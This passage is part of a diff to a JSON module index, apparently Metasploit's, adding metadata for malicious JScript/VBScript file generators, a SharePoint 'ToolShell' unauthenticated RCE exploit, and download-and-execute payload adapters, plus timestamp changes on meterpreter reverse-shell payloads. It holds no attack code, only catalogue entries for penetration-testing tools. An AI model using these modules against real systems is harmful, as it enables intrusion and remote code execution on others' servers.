"fullname": "exploit/multi/fileformat/zip_slip",
|
||||
@@ -164159,6 +164589,92 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/fileformat/windows_script_host_jscript": {
|
||||
"name": "Malicious Windows Script Host JScript (.js) File",
|
||||
"fullname": "exploit/windows/fileformat/windows_script_host_jscript",
|
||||
"aliases": [],
|
||||
"rank": 500,
|
||||
"disclosure_date": "1998-06-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module creates a Windows Script Host (WSH) JScript (.js) file.",
|
||||
"references": [
|
||||
"ATT&CK-T1204.002"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Microsoft Windows 98 or newer"
|
||||
],
|
||||
"mod_time": "2025-07-25 18:43:33 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/windows_script_host_jscript.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/windows_script_host_jscript",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/fileformat/windows_script_host_vbscript": {
|
||||
"name": "Malicious Windows Script Host VBScript (.vbs) File",
|
||||
"fullname": "exploit/windows/fileformat/windows_script_host_vbscript",
|
||||
"aliases": [],
|
||||
"rank": 500,
|
||||
"disclosure_date": "1998-06-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module creates a Windows Script Host (WSH) VBScript (.vbs) file.",
|
||||
"references": [
|
||||
"ATT&CK-T1204.002"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Microsoft Windows 98 or newer"
|
||||
],
|
||||
"mod_time": "2025-07-25 18:46:47 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/windows_script_host_vbscript",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/fileformat/winrar_ace": {
|
||||
"name": "RARLAB WinRAR ACE Format Input Validation Remote Code Execution",
|
||||
"fullname": "exploit/windows/fileformat/winrar_ace",
|
||||
@@ -179190,6 +179706,81 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/sharepoint_toolpane_rce": {
|
||||
"name": "Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)",
|
||||
"fullname": "exploit/windows/http/sharepoint_toolpane_rce",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-07-08",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Viettel Cyber Security",
|
||||
"sfewer-r7"
|
||||
],
|
||||
"description": "This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe\n deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft\n SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,\n and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.\n As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),\n we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.",
|
||||
"references": [
|
||||
"CVE-2025-49704",
|
||||
"CVE-2025-49706",
|
||||
"CVE-2025-53770",
|
||||
"CVE-2025-53771",
|
||||
"URL-https://blog.viettelcybersecurity.com/sharepoint-toolshell/",
|
||||
"URL-https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/",
|
||||
"URL-https://securelist.com/toolshell-explained/",
|
||||
"URL-https://www.zerodayinitiative.com/advisories/ZDI-25-580/",
|
||||
"URL-https://www.zerodayinitiative.com/advisories/ZDI-25-581/",
|
||||
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704",
|
||||
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706",
|
||||
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770",
|
||||
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771",
|
||||
"URL-https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/",
|
||||
"URL-https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/",
|
||||
"URL-https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501",
|
||||
"URL-https://x.com/codewhitesec/status/1944743478350557232",
|
||||
"URL-https://x.com/thezdi/status/1923317597673533552",
|
||||
"URL-https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Default"
|
||||
],
|
||||
"mod_time": "2025-08-06 15:33:57 +0000",
|
||||
"path": "/modules/exploits/windows/http/sharepoint_toolpane_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/sharepoint_toolpane_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/sharepoint_unsafe_control": {
|
||||
"name": "Microsoft SharePoint Unsafe Control and ViewState RCE",
|
||||
"fullname": "exploit/windows/http/sharepoint_unsafe_control",
|
||||
@@ -189521,7 +190112,7 @@
|
||||
"targets": [
|
||||
"Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-07-30 16:13:01 +0000",
|
||||
"path": "/modules/exploits/windows/misc/achat_bof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/achat_bof",
|
||||
@@ -203569,7 +204160,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/android/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/meterpreter_reverse_http",
|
||||
@@ -203598,7 +204189,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/android/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/meterpreter_reverse_https",
|
||||
@@ -203627,7 +204218,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/android/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/meterpreter_reverse_tcp",
|
||||
@@ -203766,7 +204357,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
|
||||
@@ -203799,7 +204390,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
|
||||
@@ -203832,7 +204423,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -203894,7 +204485,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
|
||||
@@ -203927,7 +204518,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
|
||||
@@ -203960,7 +204551,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
|
||||
@@ -204344,7 +204935,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/x86/metsvc_bind_tcp",
|
||||
@@ -204375,7 +204966,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/x86/metsvc_reverse_tcp",
|
||||
@@ -220551,6 +221142,40 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_cmd/windows/http/x64/download_exec": {
|
||||
"name": "HTTP Fetch",
|
||||
"fullname": "payload/cmd/windows/http/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Brendan Watters",
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Fetch and execute an x64 payload from an HTTP server.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-03 14:46:15 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/http/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/http/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 8,
|
||||
"adapter_refname": "cmd/windows/http/x64",
|
||||
"adapted_refname": "windows/x64/download_exec",
|
||||
"staged": false
|
||||
},
|
||||
"payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -223558,6 +224183,40 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_cmd/windows/https/x64/download_exec": {
|
||||
"name": "HTTPS Fetch",
|
||||
"fullname": "payload/cmd/windows/https/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Brendan Watters",
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Fetch and execute an x64 payload from an HTTPS server.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-03 14:46:15 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/https/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/https/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 8,
|
||||
"adapter_refname": "cmd/windows/https/x64",
|
||||
"adapted_refname": "windows/x64/download_exec",
|
||||
"staged": false
|
||||
},
|
||||
"payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -235118,6 +235777,40 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/download_exec": {
|
||||
"name": "Powershell Exec",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 8,
|
||||
"adapter_refname": "cmd/windows/powershell/x64",
|
||||
"adapted_refname": "windows/x64/download_exec",
|
||||
"staged": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -238743,6 +239436,40 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_cmd/windows/smb/x64/download_exec": {
|
||||
"name": "SMB Fetch",
|
||||
"fullname": "payload/cmd/windows/smb/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Fetch and execute an x64 payload from an SMB server.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-02-07 15:59:31 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/smb/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 8,
|
||||
"adapter_refname": "cmd/windows/smb/x64",
|
||||
"adapted_refname": "windows/x64/download_exec",
|
||||
"staged": false
|
||||
},
|
||||
"payload_cmd/windows/smb/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "SMB Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/smb/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -241750,6 +242477,40 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_cmd/windows/tftp/x64/download_exec": {
|
||||
"name": "TFTP Fetch",
|
||||
"fullname": "payload/cmd/windows/tftp/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Brendan Watters",
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Fetch and execute an x64 payload from a TFTP server.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-03 14:46:15 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/tftp/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 8,
|
||||
"adapter_refname": "cmd/windows/tftp/x64",
|
||||
"adapted_refname": "windows/x64/download_exec",
|
||||
"staged": false
|
||||
},
|
||||
"payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -244893,7 +245654,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_http",
|
||||
@@ -244926,7 +245687,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_https",
|
||||
@@ -244959,7 +245720,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -245052,7 +245813,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_http",
|
||||
@@ -245085,7 +245846,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_https",
|
||||
@@ -245118,7 +245879,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
|
||||
@@ -245315,7 +246076,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_http",
|
||||
@@ -245348,7 +246109,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_https",
|
||||
@@ -245381,7 +246142,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_tcp",
|
||||
@@ -245544,7 +246305,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_http",
|
||||
@@ -245577,7 +246338,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_https",
|
||||
@@ -245610,7 +246371,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
|
||||
@@ -245712,7 +246473,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
|
||||
@@ -245745,7 +246506,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
|
||||
@@ -245778,7 +246539,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
|
||||
@@ -246016,7 +246777,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_http",
|
||||
@@ -246049,7 +246810,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_https",
|
||||
@@ -246082,7 +246843,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
|
||||
@@ -246249,7 +247010,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_http",
|
||||
@@ -246282,7 +247043,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_https",
|
||||
@@ -246315,7 +247076,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
|
||||
@@ -246534,7 +247295,7 @@
|
||||
"autofilter_ports": null,
|
||||
